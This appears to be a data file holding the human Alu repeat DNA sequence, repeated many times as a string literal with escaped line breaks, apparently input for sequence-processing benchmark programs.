CTGGGCGACAGAGCGAGACTCCGTCTCAAAAAGGCCGGGCGCGGTGGCTCACGCCTGTAA\n\ TCCCAGCACTTTGGGAGGCCGAGGCGGGCGGATCACCTGAGGTCAGGAGTTCGAGACCAG\n\ CCTGGCCAACATGGTGAAACCCCGTCTCTACTAAAAATACAAAAATTAGCCGGGCGTGGT\n\ GGCGCGCGCCTGTAATCCCAGCTACTCGGGAGGCTGAGGCAGGAGAATCGCTTGAACCCG\n\ GGAGGCGGAGGTTGCAGTGAGCCGAGATCGCGCCACTGCACTCCAGCCTGGGCGACAGAG\n\ CGAGACTCCGTCTCAAAAAGGCCGGGCGCGGTGGCTCACGCCTGTAATCCCAGCACTTTG\n\ GGAGGCCGAGGCGGGCGGATCACCTGAGGTCAGGAGTTCGAGACCAGCCTGGCCAACATG\n\ GTGAAACCCCGTCTCTACTAAAAATACAAAAATTAGCCGGGCGTGGTGGCGCGCGCCTGT\n\ AATCCCAGCTACTCGGGAGGCTGAGGCAGGAGAATCGCTTGAACCCGGGAGGCGGAGGTT\n\ GCAGTGAGCCGAGATCGCGCCACTGCACTCCAGCCTGGGCGACAGAGCGAGACTCCGTCT\n\ CAAAAAGGCCGGGCGCGGTGGCTCACGCCTGTAATCCCAGCACTTTGGGAGGCCGAGGCG\n\ GGCGGATCACCTGAGGTCAGGAGTTCGAGACCAGCCTGGCCAACATGGTGAAACCCCGTC\n\ TCTACTAAAAATACAAAAATTAGCCGGGCGTGGTGGCGCGCGCCTGTAATCCCAGCTACT\n\ CGGGAGGCTGAGGCAGGAGAATCGCTTGAACCCGGGAGGCGGAGGTTGCAGTGAGCCGAG\n\ ATCGCGCCACTGCACTCCAGCCTGGGCGACAGAGCGAGACTCCGTCTCAAAAAGGCCGGG\n\ CGCGGTGGCTCACGCCTGTAATCCCAGCACTTTGGGAGGCCGAGGCGGGCGGATCACCTG\n\ AGGTCAGGAGTTCGAGACCAGCCTGGCCAACATGGTGAAACCCCGTCTCTACTAAAAATA\n\ CAAAAATTAGCCGGGCGTGGTGGCGCGCGCCTGTAATCCCAGCTACTCGGGAGGCTGAGG\n\ CAGGAGAATCGCTTGAACCCGGGAGGCGGAGGTTGCAGTGAGCCGAGATCGCGCCACTGC\n\ ACTCCAGCCTGGGCGACAGAGCGAGACTCCGTCTCAAAAAGGCCGGGCGCGGTGGCTCAC\n\ GCCTGTAATCCCAGCACTTTGGGAGGCCGAGGCGGGCGGATCACCTGAGGTCAGGAGTTC\n\ GAGACCAGCCTGGCCAACATGGTGAAACCCCGTCTCTACTAAAAATACAAAAATTAGCCG\n\ GGCGTGGTGGCGCGCGCCTGTAATCCCAGCTACTCGGGAGGCTGAGGCAGGAGAATCGCT\n\ TGAACCCGGGAGGCGGAGGTTGCAGTGAGCCGAGATCGCGCCACTGCACTCCAGCCTGGG\n\ CGACAGAGCGAGACTCCGTCTCAAAAAGGCCGGGCGCGGTGGCTCACGCCTGTAATCCCA\n\ GCACTTTGGGAGGCCGAGGCGGGCGGATCACCTGAGGTCAGGAGTTCGAGACCAGCCTGG\n\ CCAACATGGTGAAACCCCGTCTCTACTAAAAATACAAAAATTAGCCGGGCGTGGTGGCGC\n\ GCGCCTGTAATCCCAGCTACTCGGGAGGCTGAGGCAGGAGAATCGCTTGAACCCGGGAGG\n\ CGGAGGTTGCAGTGAGCCGAGATCGCGCCACTGCACTCCAGCCTGGGCGACAGAGCGAGA\n\ CTCCGTCTCAAAAAGGCCGGGCGCGGTGGCTCACGCCTGTAATCCCAGCACTTTGGGAGG\n\ CCGAGGCGGGCGGATCACCTGAGGTCAGGAGTTCGAGACCAGCCTGGCCAACATGGTGAA\n\ ACCCCGTCTCTACTAAAAATACAAAAATTAGCCGGGCGTGGTGGCGCGCGCCTGTAATCC\n\ CAGCTACTCGGGAGGCTGAGGCAGGAGAATCGCTTGAACCCGGGAGGCGGAGGTTGCAGT\n\ GAGCCGAGATCGCGCCACTGCACTCCAGCCTGGGCGACAGAGCGAGACTCCGTCTCAAAA\n\ AGGCCGGGCGCGGTGGCTCACGCCTGTAATCCCAGCACTTTGGGAGGCCGAGGCGGGCGG\n\ ATCACCTGAGGTCAGGAGTTCGAGACCAGCCTGGCCAACATGGTGAAACCCCGTCTCTAC\n\ TAAAAATACAAAAATTAGCCGGGCGTGGTGGCGCGCGCCTGTAATCCCAGCTACTCGGGA\n\ GGCTGAGGCAGGAGAATCGCTTGAACCCGGGAGGCGGAGGTTGCAGTGAGCCGAGATCGC\n\ GCCACTGCACTCCAGCCTGGGCGACAGAGCGAGACTCCGTCTCAAAAAGGCCGGGCGCGG\n\ TGGCTCACGCCTGTAATCCCAGCACTTTGGGAGGCCGAGGCGGGCGGATCACCTGAGGTC\n\ AGGAGTTCGAGACCAGCCTGGCCAACATGGTGAAACCCCGTCTCTACTAAAAATACAAAA\n\ ATTAGCCGGGCGTGGTGGCGCGCGCCTGTAATCCCAGCTACTCGGGAGGCTGAGGCAGGA\n\ GAATCGCTTGAACCCGGGAGGCGGAGGTTGCAGTGAGCCGAGATCGCGCCACTGCACTCC\n\ AGCCTGGGCGACAGAGCGAGACTCCGTCTCAAAAAGGCCGGGCGCGGTGGCTCACGCCTG\n\ TAATCCCAGCACTTTGGGAGGCCGAGGCGGGCGGATCACCTGAGGTCAGGAGTTCGAGAC\n\ CAGCCTGGCCAACATGGTGAAACCCCGTCTCTACTAAAAATACAAAAATTAGCCGGGCGT\n\ GGTGGCGCGCGCCTGTAATCCCAGCTACTCGGGAGGCTGAGGCAGGAGAATCGCTTGAAC\n\ CCGGGAGGCGGAGGTTGCAGTGAGCCGAGATCGCGCCACTGCACTCCAGCCTGGGCGACA\n\ GAGCGAGACTCCGTCTCAAAAAGGCCGGGCGCGGTGGCTCACGCCTGTAATCCCAGCACT\n\ TTGGGAGGCCGAGGCGGGCGGATCACCTGAGGTCAGGAGTTCGAGACCAGCCTGGCCAAC\n\ ATGGTGAAACCCCGTCTCTACTAAAAATACAAAAATTAGCCGGGCGTGGTGGCGCGCGCC\n\ TGTAATCCCAGCTACTCGGGAGGCTGAGGCAGGAGAATCGCTTGAACCCGGGAGGCGGAG\n\ GTTGCAGTGAGCCGAGATCGCGCCACTGCACTCCAGCCTGGGCGACAGAGCGAGACTCCG\n\ TCTCAAAAAGGCCGGGCGCGGTGGCTCACGCCTGTAATCCCAGCACTTTGGGAGGCCGAG\n\ GCGGGCGGATCACCTGAGGTCAGGAGTTCGAGACCAGCCTGGCCAACATGGTGAAACCCC\n\ GTCTCTACTAAAAATACAAAAATTAGCCGGGCGTGGTGGCGCGCGCCTGTAATCCCAGCT\n\ ACTCGGGAGGCTGAGGCAGGAGAATCGCTTGAACCCGGGAGGCGGAGGTTGCAGTGAGCC\n\ GAGATCGCGCCACTGCACTCCAGCCTGGGCGACAGAGCGAGACTCCGTCTCAAAAAGGCC\n\ GGGCGCGGTGGCTCACGCCTGTAATCCCAGCACTTTGGGAGGCCGAGGCGGGCGGATCAC\n\ CTGAGGTCAGGAGTTCGAGACCAGCCTGGCCAACATGGTGAAACCCCGTCTCTACTAAAA\n\ ATACAAAAATTAGCCGGGCGTGGTGGCGCGCGCCTGTAATCCCAGCTACTCGGGAGGCTG\n\ AGGCAGGAGAATCGCTTGAACCCGGGAGGCGGAGGTTGCAGTGAGCCGAGATCGCGCCAC\n\ TGCACTCCAGCCTGGGCGACAGAGCGAGACTCCGTCTCAAAAAGGCCGGGCGCGGTGGCT\n\ CACGCCTGTAATCCCAGCACTTTGGGAGGCCGAGGCGGGCGGATCACCTGAGGTCAGGAG\n\ TTCGAGACCAGCCTGGCCAACATGGTGAAACCCCGTCTCTACTAAAAATACAAAAATTAG\n\ CCGGGCGTGGTGGCGCGCGCCTGTAATCCCAGCTACTCGGGAGGCTGAGGCAGGAGAATC\n\ GCTTGAACCCGGGAGGCGGAGGTTGCAGTGAGCCGAGATCGCGCCACTGCACTCCAGCCT\n\ GGGCGACAGAGCGAGACTCCGTCTCAAAAAGGCCGGGCGCGGTGGCTCACGCCTGTAATC\n\ CCAGCACTTTGGGAGGCCGAGGCGGGCGGATCACCTGAGGTCAGGAGTTCGAGACCAGCC\n\ TGGCCAACATGGTGAAACCCCGTCTCTACTAAAAATACAAAAATTAGCCGGGCGTGGTGG\n\ CGCGCGCCTGTAATCCCAGCTACTCGGGAGGCTGAGGCAGGAGAATCGCTTGAACCCGGG\n\ AGGCGGAGGTTGCAGTGAGCCGAGATCGCGCCACTGCACTCCAGCCTGGGCGACAGAGCG\n\ AGACTCCGTCTCAAAAAGGCCGGGCGCGGTGGCTCACGCCTGTAATCCCAGCACTTTGGG\n\ AGGCCGAGGCGGGCGGATCACCTGAGGTCAGGAGTTCGAGACCAGCCTGGCCAACATGGT\n\ GAAACCCCGTCTCTACTAAAAATACAAAAATTAGCCGGGCGTGGTGGCGCGCGCCTGTAA\n\ TCCCAGCTACTCGGGAGGCTGAGGCAGGAGAATCGCTTGAACCCGGGAGGCGGAGGTTGC\n\ AGTGAGCCGAGATCGCGCCACTGCACTCCAGCCTGGGCGACAGAGCGAGACTCCGTCTCA\n\ AAAAGGCCGGGCGCGGTGGCTCACGCCTGTAATCCCAGCACTTTGGGAGGCCGAGGCGGG\n\ CGGATCACCTGAGGTCAGGAGTTCGAGACCAGCCTGGCCAACATGGTGAAACCCCGTCTC\n\ TACTAAAAATACAAAAATTAGCCGGGCGTGGTGGCGCGCGCCTGTAATCCCAGCTACTCG\n\ GGAGGCTGAGGCAGGAGAATCGCTTGAACCCGGGAGGCGGAGGTTGCAGTGAGCCGAGAT\n\ CGCGCCACTGCACTCCAGCCTGGGCGACAGAGCGAGACTCCGTCTCAAAAAGGCCGGGCG\n\ CGGTGGCTCACGCCTGTAATCCCAGCACTTTGGGAGGCCGAGGCGGGCGGATCACCTGAG\n\ GTCAGGAGTTCGAGACCAGCCTGGCCAACATGGTGAAACCCCGTCTCTACTAAAAATACA\n\ AAAATTAGCCGGGCGTGGTGGCGCGCGCCTGTAATCCCAGCTACTCGGGAGGCTGAGGCA\n\ GGAGAATCGCTTGAACCCGGGAGGCGGAGGTTGCAGTGAGCCGAGATCGCGCCACTGCAC\n\ TCCAGCCTGGGCGACAGAGCGAGACTCCGTCTCAAAAAGGCCGGGCGCGGTGGCTCACGC\n\ CTGTAATCCCAGCACTTTGGGAGGCCGAGGCGGGCGGATCACCTGAGGTCAGGAGTTCGA\n\ GACCAGCCTGGCCAACATGGTGAAACCCCGTCTCTACTAAAAATACAAAAATTAGCCGGG\n\ CGTGGTGGCGCGCGCCTGTAATCCCAGCTACTCGGGAGGCTGAGGCAGGAGAATCGCTTG\n\ AACCCGGGAGGCGGAGGTTGCAGTGAGCCGAGATCGCGCCACTGCACTCCAGCCTGGGCG\n\ ACAGAGCGAGACTCCGTCTCAAAAAGGCCGGGCGCGGTGGCTCACGCCTGTAATCCCAGC\n\ ACTTTGGGAGGCCGAGGCGGGCGGATCACCTGAGGTCAGGAGTTCGAGACCAGCCTGGCC\n\ AACATGGTGAAACCCCGTCTCTACTAAAAATACAAAAATTAGCCGGGCGTGGTGGCGCGC\n\ GCCTGTAATCCCAGCTACTCGGGAGGCTGAGGCAGGAGAATCGCTTGAACCCGGGAGGCG\n\ GAGGTTGCAGTGAGCCGAGATCGCGCCACTGCACTCCAGCCTGGGCGACAGAGCGAGACT\n\ CCGTCTCAAAAAGGCCGGGCGCGGTGGCTCACGCCTGTAATCCCAGCACTTTGGGAGGCC\n\ GAGGCGGGCGGATCACCTGAGGTCAGGAGTTCGAGACCAGCCTGGCCAACATGGTGAAAC\n\ CCCGTCTCTACTAAAAATACAAAAATTAGCCGGGCGTGGTGGCGCGCGCCTGTAATCCCA\n\ GCTACTCGGGAGGCTGAGGCAGGAGAATCGCTTGAACCCGGGAGGCGGAGGTTGCAGTGA\n\ GCCGAGATCGCGCCACTGCACTCCAGCCTGGGCGACAGAGCGAGACTCCGTCTCAAAAAG\n\ GCCGGGCGCGGTGGCTCACGCCTGTAATCCCAGCACTTTGGGAGGCCGAGGCGGGCGGAT\n\ CACCTGAGGTCAGGAGTTCGAGACCAGCCTGGCCAACATGGTGAAACCCCGTCTCTACTA\n\ AAAATACAAAAATTAGCCGGGCGTGGTGGCGCGCGCCTGTAATCCCAGCTACTCGGGAGG\n\ CTGAGGCAGGAGAATCGCTTGAACCCGGGAGGCGGAGGTTGCAGTGAGCCGAGATCGCGC\n\ CACTGCACTCCAGCCTGGGCGACAGAGCGAGACTCCGTCTCAAAAAGGCCGGGCGCGGTG\n\ GCTCACGCCTGTAATCCCAGCACTTTGGGAGGCCGAGGCGGGCGGATCACCTGAGGTCAG\n\ GAGTTCGAGACCAGCCTGGCCAACATGGTGAAACCCCGTCTCTACTAAAAATACAAAAAT\n\ TAGCCGGGCGTGGTGGCGCGCGCCTGTAATCCCAGCTACTCGGGAGGCTGAGGCAGGAGA\n\ ATCGCTTGAACCCGGGAGGCGGAGGTTGCAGTGAGCCGAGATCGCGCCACTGCACTCCAG\n\ CCTGGGCGACAGAGCGAGACTCCGTCTCAAAAAGGCCGGGCGCGGTGGCTCACGCCTGTA\n\ ATCCCAGCACTTTGGGAGGCCGAGGCGGGCGGATCACCTGAGGTCAGGAGTTCGAGACCA\n\ GCCTGGCCAACATGGTGAAACCCCGTCTCTACTAAAAATACAAAAATTAGCCGGGCGTGG\n\ TGGCGCGCGCCTGTAATCCCAGCTACTCGGGAGGCTGAGGCAGGAGAATCGCTTGAACCC\n\ GGGAGGCGGAGGTTGCAGTGAGCCGAGATCGCGCCACTGCACTCCAGCCTGGGCGACAGA\n\ GCGAGACTCCGTCTCAAAAAGGCCGGGCGCGGTGGCTCACGCCTGTAATCCCAGCACTTT\n\ GGGAGGCCGAGGCGGGCGGATCACCTGAGGTCAGGAGTTCGAGACCAGCCTGGCCAACAT\n\ GGTGAAACCCCGTCTCTACTAAAAATACAAAAATTAGCCGGGCGTGGTGGCGCGCGCCTG\n\ TAATCCCAGCTACTCGGGAGGCTGAGGCAGGAGAATCGCTTGAACCCGGGAGGCGGAGGT\n\ TGCAGTGAGCCGAGATCGCGCCACTGCACTCCAGCCTGGGCGACAGAGCGAGACTCCGTC\n\ TCAAAAAGGCCGGGCGCGGTGGCTCACGCCTGTAATCCCAGCACTTTGGGAGGCCGAGGC\n\ GGGCGGATCACCTGAGGTCAGGAGTTCGAGACCAGCCTGGCCAACATGGTGAAACCCCGT\n\ CTCTACTAAAAATACAAAAATTAGCCGGGCGTGGTGGCGCGCGCCTGTAATCCCAGCTAC\n\ TCGGGAGGCTGAGGCAGGAGAATCGCTTGAACCCGGGAGGCGGAGGTTGCAGTGAGCCGA\n\ GATCGCGCCACTGCACTCCAGCCTGGGCGACAGAGCGAGACTCCGTCTCAAAAAGGCCGG\n\ GCGCGGTGGCTCACGCCTGTAATCCCAGCACTTTGGGAGGCCGAGGCGGGCGGATCACCT\n\ GAGGTCAGGAGTTCGAGACCAGCCTGGCCAACATGGTGAAACCCCGTCTCTACTAAAAAT\n\ ACAAAAATTAGCCGGGCGTGGTGGCGCGCGCCTGTAATCCCAGCTACTCGGGAGGCTGAG\n\ GCAGGAGAATCGCTTGAACCCGGGAGGCGGAGGTTGCAGTGAGCCGAGATCGCGCCACTG\n\ CACTCCAGCCTGGGCGACAGAGCGAGACTCCGTCTCAAAAAGGCCGGGCGCGGTGGCTCA\n\ CGCCTGTAATCCCAGCACTTTGGGAGGCCGAGGCGGGCGGATCACCTGAGGTCAGGAGTT\n\ CGAGACCAGCCTGGCCAACATGGTGAAACCCCGTCTCTACTAAAAATACAAAAATTAGCC\n\ GGGCGTGGTGGCGCGCGCCTGTAATCCCAGCTACTCGGGAGGCTGAGGCAGGAGAATCGC\n\ TTGAACCCGGGAGGCGGAGGTTGCAGTGAGCCGAGATCGCGCCACTGCACTCCAGCCTGG\n\ GCGACAGAGCGAGACTCCGTCTCAAAAAGGCCGGGCGCGGTGGCTCACGCCTGTAATCCC\n\ AGCACTTTGGGAGGCCGAGGCGGGCGGATCACCTGAGGTCAGGAGTTCGAGACCAGCCTG\n\ GCCAACATGGTGAAACCCCGTCTCTACTAAAAATACAAAAATTAGCCGGGCGTGGTGGCG\n\ CGCGCCTGTAATCCCAGCTACTCGGGAGGCTGAGGCAGGAGAATCGCTTGAACCCGGGAG\n\ GCGGAGGTTGCAGTGAGCCGAGATCGCGCCACTGCACTCCAGCCTGGGCGACAGAGCGAG\n\ ACTCCGTCTCAAAAAGGCCGGGCGCGGTGGCTCACGCCTGTAATCCCAGCACTTTGGGAG\n\ GCCGAGGCGGGCGGATCACCTGAGGTCAGGAGTTCGAGACCAGCCTGGCCAACATGGTGA\n\ AACCCCGTCTCTACTAAAAATACAAAAATTAGCCGGGCGTGGTGGCGCGCGCCTGTAATC\n\ CCAGCTACTCGGGAGGCTGAGGCAGGAGAATCGCTTGAACCCGGGAGGCGGAGGTTGCAG\n\ TGAGCCGAGATCGCGCCACTGCACTCCAGCCTGGGCGACAGAGCGAGACTCCGTCTCAAA\n\ AAGGCCGGGCGCGGTGGCTCACGCCTGTAATCCCAGCACTTTGGGAGGCCGAGGCGGGCG\n\ GATCACCTGAGGTCAGGAGTTCGAGACCAGCCTGGCCAACATGGTGAAACCCCGTCTCTA\n\ CTAAAAATACAAAAATTAGCCGGGCGTGGTGGCGCGCGCCTGTAATCCCAGCTACTCGGG\n\ AGGCTGAGGCAGGAGAATCGCTTGAACCCGGGAGGCGGAGGTTGCAGTGAGCCGAGATCG\n\ CGCCACTGCACTCCAGCCTGGGCGACAGAGCGAGACTCCGTCTCAAAAAGGCCGGGCGCG\n\ GTGGCTCACGCCTGTAATCCCAGCACTTTGGGAGGCCGAGGCGGGCGGATCACCTGAGGT\n\ CAGGAGTTCGAGACCAGCCTGGCCAACATGGTGAAACCCCGTCTCTACTAAAAATACAAA\n\ AATTAGCCGGGCGTGGTGGCGCGCGCCTGTAATCCCAGCTACTCGGGAGGCTGAGGCAGG\n\ AGAATCGCTTGAACCCGGGAGGCGGAGGTTGCAGTGAGCCGAGATCGCGCCACTGCACTC\n\ CAGCCTGGGCGACAGAGCGAGACTCCGTCTCAAAAAGGCCGGGCGCGGTGGCTCACGCCT\n\ GTAATCCCAGCACTTTGGGAGGCCGAGGCGGGCGGATCACCTGAGGTCAGGAGTTCGAGA\n\ CCAGCCTGGCCAACATGGTGAAACCCCGTCTCTACTAAAAATACAAAAATTAGCCGGGCG\n\ TGGTGGCGCGCGCCTGTAATCCCAGCTACTCGGGAGGCTGAGGCAGGAGAATCGCTTGAA\n\ CCCGGGAGGCGGAGGTTGCAGTGAGCCGAGATCGCGCCACTGCACTCCAGCCTGGGCGAC\n\ AGAGCGAGACTCCGTCTCAAAAAGGCCGGGCGCGGTGGCTCACGCCTGTAATCCCAGCAC\n\ TTTGGGAGGCCGAGGCGGGCGGATCACCTGAGGTCAGGAGTTCGAGACCAGCCTGGCCAA\n\ CATGGTGAAACCCCGTCTCTACTAAAAATACAAAAATTAGCCGGGCGTGGTGGCGCGCGC\n\ CTGTAATCCCAGCTACTCGGGAGGCTGAGGCAGGAGAATCGCTTGAACCCGGGAGGCGGA\n\ GGTTGCAGTGAGCCGAGATCGCGCCACTGCACTCCAGCCTGGGCGACAGAGCGAGACTCC\n\ GTCTCAAAAAGGCCGGGCGCGGTGGCTCACGCCTGTAATCCCAGCACTTTGGGAGGCCGA\n\ GGCGGGCGGATCACCTGAGGTCAGGAGTTCGAGACCAGCCTGGCCAACATGGTGAAACCC\n\ CGTCTCTACTAAAAATACAAAAATTAGCCGGGCGTGGTGGCGCGCGCCTGTAATCCCAGC\n\ TACTCGGGAGGCTGAGGCAGGAGAATCGCTTGAACCCGGGAGGCGGAGGTTGCAGTGAGC\n\ CGAGATCGCGCCACTGCACTCCAGCCTGGGCGACAGAGCGAGACTCCGTCTCAAAAAGGC\n\ CGGGCGCGGTGGCTCACGCCTGTAATCCCAGCACTTTGGGAGGCCGAGGCGGGCGGATCA\n\ CCTGAGGTCAGGAGTTCGAGACCAGCCTGGCCAACATGGTGAAACCCCGTCTCTACTAAA\n\ AATACAAAAATTAGCCGGGCGTGGTGGCGCGCGCCTGTAATCCCAGCTACTCGGGAGGCT\n\ GAGGCAGGAGAATCGCTTGAACCCGGGAGGCGGAGGTTGCAGTGAGCCGAGATCGCGCCA\n\ CTGCACTCCAGCCTGGGCGACAGAGCGAGACTCCGTCTCAAAAAGGCCGGGCGCGGTGGC\n\ TCACGCCTGTAATCCCAGCACTTTGGGAGGCCGAGGCGGGCGGATCACCTGAGGTCAGGA\n\ GTTCGAGACCAGCCTGGCCAACATGGTGAAACCCCGTCTCTACTAAAAATACAAAAATTA\n\ GCCGGGCGTGGTGGCGCGCGCCTGTAATCCCAGCTACTCGGGAGGCTGAGGCAGGAGAAT\n\ CGCTTGAACCCGGGAGGCGGAGGTTGCAGTGAGCCGAGATCGCGCCACTGCACTCCAGCC\n\ TGGGCGACAGAGCGAGACTCCGTCTCAAAAAGGCCGGGCGCGGTGGCTCACGCCTGTAAT\n\ CCCAGCACTTTGGGAGGCCGAGGCGGGCGGATCACCTGAGGTCAGGAGTTCGAGACCAGC\n\ CTGGCCAACATGGTGAAACCCCGTCTCTACTAAAAATACAAAAATTAGCCGGGCGTGGTG\n\ GCGCGCGCCTGTAATCCCAGCTACTCGGGAGGCTGAGGCAGGAGAATCGCTTGAACCCGG\n\ GAGGCGGAGGTTGCAGTGAGCCGAGATCGCGCCACTGCACTCCAGCCTGGGCGACAGAGC\n\ GAGACTCCGTCTCAAAAAGGCCGGGCGCGGTGGCTCACGCCTGTAATCCCAGCACTTTGG\n\ GAGGCCGAGGCGGGCGGATCACCTGAGGTCAGGAGTTCGAGACCAGCCTGGCCAACATGG\n\ TGAAACCCCGTCTCTACTAAAAATACAAAAATTAGCCGGGCGTGGTGGCGCGCGCCTGTA\n\ ATCCCAGCTACTCGGGAGGCTGAGGCAGGAGAATCGCTTGAACCCGGGAGGCGGAGGTTG\n\ CAGTGAGCCGAGATCGCGCCACTGCACTCCAGCCTGGGCGACAGAGCGAGACTCCGTCTC\n\ AAAAAGGCCGGGCGCGGTGGCTCACGCCTGTAATCCCAGCACTTTGGGAGGCCGAGGCGG\n\ GCGGATCACCTGAGGTCAGGAGTTCGAGACCAGCCTGGCCAACATGGTGAAACCCCGTCT\n\ CTACTAAAAATACAAAAATTAGCCGGGCGTGGTGGCGCGCGCCTGTAATCCCAGCTACTC\n\ GGGAGGCTGAGGCAGGAGAATCGCTTGAACCCGGGAGGCGGAGGTTGCAGTGAGCCGAGA\n\ TCGCGCCACTGCACTCCAGCCTGGGCGACAGAGCGAGACTCCGTCTCAAAAAGGCCGGGC\n\ GCGGTGGCTCACGCCTGTAATCCCAGCACTTTGGGAGGCCGAGGCGGGCGGATCACCTGA\n\ GGTCAGGAGTTCGAGACCAGCCTGGCCAACATGGTGAAACCCCGTCTCTACTAAAAATAC\n\ AAAAATTAGCCGGGCGTGGTGGCGCGCGCCTGTAATCCCAGCTACTCGGGAGGCTGAGGC\n\ AGGAGAATCGCTTGAACCCGGGAGGCGGAGGTTGCAGTGAGCCGAGATCGCGCCACTGCA\n\ CTCCAGCCTGGGCGACAGAGCGAGACTCCGTCTCAAAAAGGCCGGGCGCGGTGGCTCACG\n\ CCTGTAATCCCAGCACTTTGGGAGGCCGAGGCGGGCGGATCACCTGAGGTCAGGAGTTCG\n\ AGACCAGCCTGGCCAACATGGTGAAACCCCGTCTCTACTAAAAATACAAAAATTAGCCGG\n\ GCGTGGTGGCGCGCGCCTGTAATCCCAGCTACTCGGGAGGCTGAGGCAGGAGAATCGCTT\n\ GAACCCGGGAGGCGGAGGTTGCAGTGAGCCGAGATCGCGCCACTGCACTCCAGCCTGGGC\n\ GACAGAGCGAGACTCCGTCTCAAAAAGGCCGGGCGCGGTGGCTCACGCCTGTAATCCCAG\n\ CACTTTGGGAGGCCGAGGCGGGCGGATCACCTGAGGTCAGGAGTTCGAGACCAGCCTGGC\n\ CAACATGGTGAAACCCCGTCTCTACTAAAAATACAAAAATTAGCCGGGCGTGGTGGCGCG\n\ CGCCTGTAATCCCAGCTACTCGGGAGGCTGAGGCAGGAGAATCGCTTGAACCCGGGAGGC\n\ GGAGGTTGCAGTGAGCCGAGATCGCGCCACTGCACTCCAGCCTGGGCGACAGAGCGAGAC\n\ TCCGTCTCAAAAAGGCCGGGCGCGGTGGCTCACGCCTGTAATCCCAGCACTTTGGGAGGC\n\ CGAGGCGGGCGGATCACCTGAGGTCAGGAGTTCGAGACCAGCCTGGCCAACATGGTGAAA\n\ CCCCGTCTCTACTAAAAATACAAAAATTAGCCGGGCGTGGTGGCGCGCGCCTGTAATCCC\n\ AGCTACTCGGGAGGCTGAGGCAGGAGAATCGCTTGAACCCGGGAGGCGGAGGTTGCAGTG\n\ AGCCGAGATCGCGCCACTGCACTCCAGCCTGGGCGACAGAGCGAGACTCCGTCTCAAAAA\n\ GGCCGGGCGCGGTGGCTCACGCCTGTAATCCCAGCACTTTGGGAGGCCGAGGCGGGCGGA\n\ TCACCTGAGGTCAGGAGTTCGAGACCAGCCTGGCCAACATGGTGAAACCCCGTCTCTACT\n\ AAAAATACAAAAATTAGCCGGGCGTGGTGGCGCGCGCCTGTAATCCCAGCTACTCGGGAG\n\ GCTGAGGCAGGAGAATCGCTTGAACCCGGGAGGCGGAGGTTGCAGTGAGCCGAGATCGCG\n\ CCACTGCACTCCAGCCTGGGCGACAGAGCGAGACTCCGTCTCAAAAAGGCCGGGCGCGGT\n\ GGCTCACGCCTGTAATCCCAGCACTTTGGGAGGCCGAGGCGGGCGGATCACCTGAGGTCA\n\ GGAGTTCGAGACCAGCCTGGCCAACATGGTGAAACCCCGTCTCTACTAAAAATACAAAAA\n\ TTAGCCGGGCGTGGTGGCGCGCGCCTGTAATCCCAGCTACTCGGGAGGCTGAGGCAGGAG\n\ AATCGCTTGAACCCGGGAGGCGGAGGTTGCAGTGAGCCGAGATCGCGCCACTGCACTCCA\n\ GCCTGGGCGACAGAGCGAGACTCCGTCTCAAAAAGGCCGGGCGCGGTGGCTCACGCCTGT\n\ AATCCCAGCACTTTGGGAGGCCGAGGCGGGCGGATCACCTGAGGTCAGGAGTTCGAGACC\n\ AGCCTGGCCAACATGGTGAAACCCCGTCTCTACTAAAAATACAAAAATTAGCCGGGCGTG\n\ GTGGCGCGCGCCTGTAATCCCAGCTACTCGGGAGGCTGAGGCAGGAGAATCGCTTGAACC\n\ CGGGAGGCGGAGGTTGCAGTGAGCCGAGATCGCGCCACTGCACTCCAGCCTGGGCGACAG\n\ AGCGAGACTCCGTCTCAAAAAGGCCGGGCGCGGTGGCTCACGCCTGTAATCCCAGCACTT\n\ TGGGAGGCCGAGGCGGGCGGATCACCTGAGGTCAGGAGTTCGAGACCAGCCTGGCCAACA\n\ TGGTGAAACCCCGTCTCTACTAAAAATACAAAAATTAGCCGGGCGTGGTGGCGCGCGCCT\n\ GTAATCCCAGCTACTCGGGAGGCTGAGGCAGGAGAATCGCTTGAACCCGGGAGGCGGAGG\n\ TTGCAGTGAGCCGAGATCGCGCCACTGCACTCCAGCCTGGGCGACAGAGCGAGACTCCGT\n\ CTCAAAAAGGCCGGGCGCGGTGGCTCACGCCTGTAATCCCAGCACTTTGGGAGGCCGAGG\n\ CGGGCGGATCACCTGAGGTCAGGAGTTCGAGACCAGCCTGGCCAACATGGTGAAACCCCG\n\ TCTCTACTAAAAATACAAAAATTAGCCGGGCGTGGTGGCGCGCGCCTGTAATCCCAGCTA\n\ CTCGGGAGGCTGAGGCAGGAGAATCGCTTGAACCCGGGAGGCGGAGGTTGCAGTGAGCCG\n\ AGATCGCGCCACTGCACTCCAGCCTGGGCGACAGAGCGAGACTCCGTCTCAAAAAGGCCG\n\ GGCGCGGTGGCTCACGCCTGTAATCCCAGCACTTTGGGAGGCCGAGGCGGGCGGATCACC\n\ TGAGGTCAGGAGTTCGAGACCAGCCTGGCCAACATGGTGAAACCCCGTCTCTACTAAAAA\n\ TACAAAAATTAGCCGGGCGTGGTGGCGCGCGCCTGTAATCCCAGCTACTCGGGAGGCTGA\n\ GGCAGGAGAATCGCTTGAACCCGGGAGGCGGAGGTTGCAGTGAGCCGAGATCGCGCCACT\n\ GCACTCCAGCCTGGGCGACAGAGCGAGACTCCGTCTCAAAAAGGCCGGGCGCGGTGGCTC\n\ ACGCCTGTAATCCCAGCACTTTGGGAGGCCGAGGCGGGCGGATCACCTGAGGTCAGGAGT\n\ TCGAGACCAGCCTGGCCAACATGGTGAAACCCCGTCTCTACTAAAAATACAAAAATTAGC\n\ CGGGCGTGGTGGCGCGCGCCTGTAATCCCAGCTACTCGGGAGGCTGAGGCAGGAGAATCG\n\ CTTGAACCCGGGAGGCGGAGGTTGCAGTGAGCCGAGATCGCGCCACTGCACTCCAGCCTG\n\ GGCGACAGAGCGAGACTCCGTCTCAAAAAGGCCGGGCGCGGTGGCTCACGCCTGTAATCC\n\ CAGCACTTTGGGAGGCCGAGGCGGGCGGATCACCTGAGGTCAGGAGTTCGAGACCAGCCT\n\ GGCCAACATGGTGAAACCCCGTCTCTACTAAAAATACAAAAATTAGCCGGGCGTGGTGGC\n\ GCGCGCCTGTAATCCCAGCTACTCGGGAGGCTGAGGCAGGAGAATCGCTTGAACCCGGGA\n\ GGCGGAGGTTGCAGTGAGCCGAGATCGCGCCACTGCACTCCAGCCTGGGCGACAGAGCGA\n\ GACTCCGTCTCAAAAAGGCCGGGCGCGGTGGCTCACGCCTGTAATCCCAGCACTTTGGGA\n\ GGCCGAGGCGGGCGGATCACCTGAGGTCAGGAGTTCGAGACCAGCCTGGCCAACATGGTG\n\ 